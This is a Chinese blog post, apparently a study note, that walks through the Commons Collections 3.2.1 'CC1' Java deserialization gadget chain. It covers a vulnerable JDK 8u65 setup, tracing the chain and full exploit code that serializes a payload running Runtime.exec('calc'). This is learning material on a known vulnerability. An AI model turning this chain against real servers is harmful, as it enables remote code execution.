Commons Collections链1
redpomelo Lv2

前言

这是一篇学习笔记,学习前辈们总结出的知识,感谢白日梦组长 CC1链手写EXP”)以及Drunkbaby师傅的博客,还有Drunkbaby师傅微信群里的各位的耐心解答,站在前人的肩膀上,学习着前辈们的知识,如果没有前人踩过的坑那么肯定我自己要多踩很多很多坑,感谢各位大佬的奉献!!!

CommonsCollections是什么

Apache Commons是Apache软件基金会的项目,曾经隶属于Jakarta项目。Commons的目的是提供可重用的、解决各种实际的通用问题且开源的Java代码。Commons由三部分组成:Proper(是一些已发布的项目)、Sandbox(是一些正在开发的项目)和Dormant(是一些刚启动或者已经停止维护的项目)

具体介绍可以看闪烁之狐大佬的博客

环境搭建

由于该漏洞在JDK8u71后就被修复,遂使用8u65版本

JDK:

https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html

踩坑一:

官网点8u65下载下来是8u111,原因不明

解决方法:

把url链接中的cn删去,页面就切换成了英文,此时下载就是正确的

Maven导入

1
2
3
4
5
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>

不能高于这个版本,不然漏洞就修了

OpenJDK

http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/file/af660750b2f4/

把下载的openjdk里 /share/classes/ 里面的 sun包 复制到 jdk1.8.0_65(先解压jdk里自带的src源码)

踩坑二:

b3c8341d782c6d4d99d04c4f28943ca

按理来说点击下载源代码就能直接下载了,此处一直报错

解决方法一:

手动去Maven官网下载源码,而后点击右边那个按钮手动选择源代码

下载地址:https://maven.icm.edu.pl/artifactory/repo/commons-collections/commons-collections/3.2.1/commons-collections-3.2.1-sources.jar

解决方法二:

换阿里源,相关教程网上挺多的不在赘述

TransformMap攻击链分析

在分析链子之前,首先明确一下反序列化漏洞的思路

反序列化漏洞形成的原因是接收任意对象,执行readObject

image-20241129223839806

尾部exec执行方法

有一个Transform接口

image-20241129224554916

Ctrl+H查看这个接口的实现类,有一个invokerTranformer的实现类,这个实现类往下翻发现了以下代码:

image-20241130125739401

,这个transform方法从构造函数中接收任何参数,造成了反射调用任意类,接下来我们尝试构造使用这个类弹计算器

弹计算器

可以看到他的有参构造需要接收三个参数

image-20241130130335850

根据他的有参构造构成我们的payload

1
2
3
4
5
6
7
8
public class CC1Test {
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
invokerTransformer.transform(runtime);
}

执行结果:

image-20241130130746772

可以看到成功的执行了命令

寻找链子

右键——》find usages

image-20241130194721621

查看有哪些不同名的类调用了transform方法,这里有24个

image-20241130195624661

因为这个TransformedMap好几处都调用了,所以从这里开始入手,接下来去看看valueTransformer.checkSetValuevalueTransformer 是什么东西,找到构造函数进行查看

image-20241130200704051

这个构造方法的功能有点像是动态代理里的调用处理器,他的构造函数是以protected修饰符修饰的,所以他的作用域局限为类内,我们就得去寻找谁调用了他,然后找到了decorate

image-20241130201152687

1
2
3
4
5
6
7
8
9
public static void main(String[] args) {
Runtime runtime = Runtime.getRuntime();
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
//当他执行的时候,会调用invokerTransformer的transform方法
TransformedMap.decorate(map,null,invokerTransformer);
}

接下来回过头去看checkSetValue,只有Abs….这个什么玩意调用了它

image-20241130202413789

这是一个抽象类,是 TransformedMap 的父类,调用 checkSetValue 方法的类是 AbstractInputCheckedMapDecorator 类中的一个内部类 MapEntry

image-20241130211034365

setValue() 实际上就是在 Map 中对一组 entry(键值对)进行 setValue() 操作。,

最后在AnnotationInvocationHandler这个类里面找到了readObject()方法中调用了setValue!

image-20241130213406776

InvocationHandler 这个后缀,一般是在动态代理中用作动态代理中间处理,因为它继承了InvocationHandler 接口。

构造EXP

学到这里脑子有点乱,感觉似懂非懂的感觉,自己画了一遍流程图理了一下思路

image-20241201121431071

现在我们明确了链首为AnnotationInvocationHandler,可以注意到这个类没写是public的,没写就是默认default,只能在当前包调用,所以我们就

readObject 的方法是类 AnnotationInvocationHandler 的,AnnotationInvocationHandler 的作用域为 default,我们需要通过反射的方式来获取这个类及其构造函数,再实例化它

image-20241201191722321

代码:

1
2
3
4
5
6
7
8
9
10
11
12
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","wozhenshuai");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);

//反射获取链首
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotationInvocationHandlerConstructor = clazz.getDeclaredConstructor(Class.class,Map.class);
annotationInvocationHandlerConstructor.setAccessible(true);
Object o = annotationInvocationHandlerConstructor.newInstance(Override.class,transformedMap);
serialize(o);
unserialize("ser.bin");

这是理想状态下的EXP,但这是无法正常运行的,我们现在面临着三个问题:

  1. Runtime 对象不可序列化,需要通过反射将其变成可以序列化的形式
  1. setValue() 的传参,是需要传 Runtime 对象的;而在实际情况当中的 setValue() 的传参是这个东西:
  1. 要进入 setValue 的两个 if 判断

现在我们来逐个解决:

解决Runtime不能序列化

Runtime类是不能被序列化的,但是Runtime.Class是可以被序列化的,我们可以通过反射让Runtime进行序列化,这里回顾写一遍反射进行Runtime序列化

普通反射进行Runtime序列化

image-20241201200357970

1
2
3
4
//普通反射进行Runtime
Class c = Runtime.class;
Method m = c.getMethod("exec", String.class);
m.invoke(Runtime.getRuntime(), "calc");

现在将普通反射改造为InvokerTransformer类进行反射序列化

InvokerTransformer 类进行序列化

image-20241201201633140

1
2
3
4
5
6
7
8
9
//InvokerTransformer 类进行序列化
Class c = Runtime.class;
// 对应普通反射Method m = c.getMethod("exec", String.class);
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime", null}).transform(Runtime.class);
// 对应普通反射m.invoke(Runtime.getRuntime(), "calc");
Runtime r = (Runtime)new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}).transform(getRuntimeMethod);
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}).transform(r);

}

这么写实在是不够优雅,观察到:

  • 格式都为new InvokerTransformer().invoke()
  • 后一个 invoke() 方法里的参数都是前一个的结果

所以我们使用了ChainedTransformer类来优化我们的代码,这个类的代码如下,功能就是用来进行处理链式调用的

image-20241201202242496

优化代码

1
2
3
4
5
6
7
8
9
// 1. 创建Transformer数组
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};

// 2. 创建ChainedTransformer
ChainedTransformer ChainedTransformer = new ChainedTransformer(transformers);

使用ChainedTransformer优化代码后,顿时整洁了不少

绕过两个if

Runtime 的问题已经解决完毕。但是我们的 EXP 运行时不会弹出计算器,是因为我们的 EXP 并没有 transformer 的调用。我们可以调试一下,去看看问题出在哪里

image-20241201205028401

可以看到代码在进行到第一个判断时member是空,所以没有执行我们想要的代码,直接走了出去,所以就要查找有成员方法的注解传进去,这里我没有看视频便自己尝试写代码,遂在群里问,得到了师傅们的解答

image-20241201210336356

所以把参数也改成了Drunkbabyzhenshuai

image-20241201205418719

(开玩笑的,这里传什么都行,主要是在进行执行方法时候应把Override换成Target注解)以及innerMap.put传的第一个值必须为value

1
2
3
4
5
6
7
8
9
10
11
12
// 3. 创建Map并添加Transformer
Map innerMap = new HashMap();
innerMap.put("value", "Drunkbabyzhenshuai"); //这里必须是value 不然过不了第二个if判断
Map outerMap = TransformedMap.decorate(innerMap, null, ChainedTransformer);

//4.反射调用AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//Object obj = constructor.newInstance(Override.class, outerMap); 错误
Object obj = constructor.newInstance(Target.class, outerMap);
serialize(obj);

控制setvalue

我们绕过了以上两个if的判断,但是依旧无法命令执行,因为setValue() 处中的参数并不可控,指定了 AnnotationTypeMismatchExceptionProxy 类,是无法进行命令执行的,回到最开始找的时候,那时候有一个ConstantTransformer类,它的构造方法把传入的任何对象都放在 iConstant 中,然后无论传入什么都返回iConstant

image-20241201211910457

1
new ConstantTransformer(Runtime.class)

把以上代码加进数组中,构造出最终EXP

最终EXP代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
package com.study;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;

public class CC1Test {
public static void main(String[] args) throws Exception {

// 1. 创建Transformer数组
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class}, new Object[] {"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class}, new Object[] {null, new Object[0]}),
new InvokerTransformer("exec", new Class[] {String.class}, new Object[] {"calc"})
};

// 2. 创建ChainedTransformer
ChainedTransformer ChainedTransformer = new ChainedTransformer(transformers);

// 3. 创建Map并添加Transformer
Map innerMap = new HashMap();
innerMap.put("value", "Drunkbabyzhenshuai"); //这里必须是value 不然过不了第二个if判断
Map outerMap = TransformedMap.decorate(innerMap, null, ChainedTransformer);

//4.反射调用AnnotationInvocationHandler
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = clazz.getDeclaredConstructor(Class.class, Map.class);
constructor.setAccessible(true);
//Object obj = constructor.newInstance(Override.class, outerMap); 错误
Object obj = constructor.newInstance(Target.class, outerMap);
serialize(obj);
}

// 序列化
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}

// 反序列化
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

总结

入门CC链的第一条,学了两天看了两遍组长的视频才能理解,就像学驾照一样,考过的都觉得难,过了就感觉也就那样,轻州已过万重山

CC1

 评论
评论插件加载失败
正在加载评论插件
由 Hexo 驱动 & 主题 Keep
本站由 提供部署服务
总字数 15.4k 访客数 访问量